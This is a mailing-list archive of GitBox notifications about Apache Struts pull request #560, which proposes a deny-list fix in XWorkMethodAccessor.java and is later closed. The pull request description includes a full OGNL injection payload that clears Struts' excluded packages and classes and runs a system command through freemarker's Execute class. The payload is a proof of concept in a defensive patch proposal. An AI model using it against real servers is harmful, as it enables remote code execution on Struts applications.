You are viewing a plain text version of this content. The canonical link for it is here.
Posted to dev@struts.apache.org by GitBox <gi...@apache.org> on 2022/06/08 13:08:48 UTC

[GitHub] [struts] k4n5ha0 opened a new pull request, #560: Update XWorkMethodAccessor.java

k4n5ha0 opened a new pull request, #560:
URL: https://github.com/apache/struts/pull/560

   block unknow exp to clean excludedPackageNames and excludedClasses
   if attacker use 'excluded'+'PackageNames' likes blow, this patch deny list also can protect structs
   ```
   %{
   (#request.a=#@org.apache.commons.collections.BeanMap@{}) +
   (#request.a.setBean(#request.get('struts.valueStack')) == true) +
   (#request.b=#@org.apache.commons.collections.BeanMap@{}) +
   (#request.b.setBean(#request.get('a').get('context'))) +
   (#request.c=#@org.apache.commons.collections.BeanMap@{}) +
   (#request.c.setBean(#request.get('b').get('memberAccess'))) +
   (#request.get('c').put('excluded'+'PackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet())) +
   (#request.get('c').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet())) +
   (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc'}))
   }
   
   ```
   ![image](https://user-images.githubusercontent.com/22064977/172624017-8c15ca1a-66e5-4383-9215-c52ed7c5468a.png)
   


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: dev-unsubscribe@struts.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org


---------------------------------------------------------------------
To unsubscribe, e-mail: dev-unsubscribe@struts.apache.org
For additional commands, e-mail: dev-help@struts.apache.org


[GitHub] [struts] k4n5ha0 closed pull request #560: Update XWorkMethodAccessor.java

Posted by GitBox <gi...@apache.org>.
k4n5ha0 closed pull request #560: Update XWorkMethodAccessor.java
URL: https://github.com/apache/struts/pull/560


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: dev-unsubscribe@struts.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org


---------------------------------------------------------------------
To unsubscribe, e-mail: dev-unsubscribe@struts.apache.org
For additional commands, e-mail: dev-help@struts.apache.org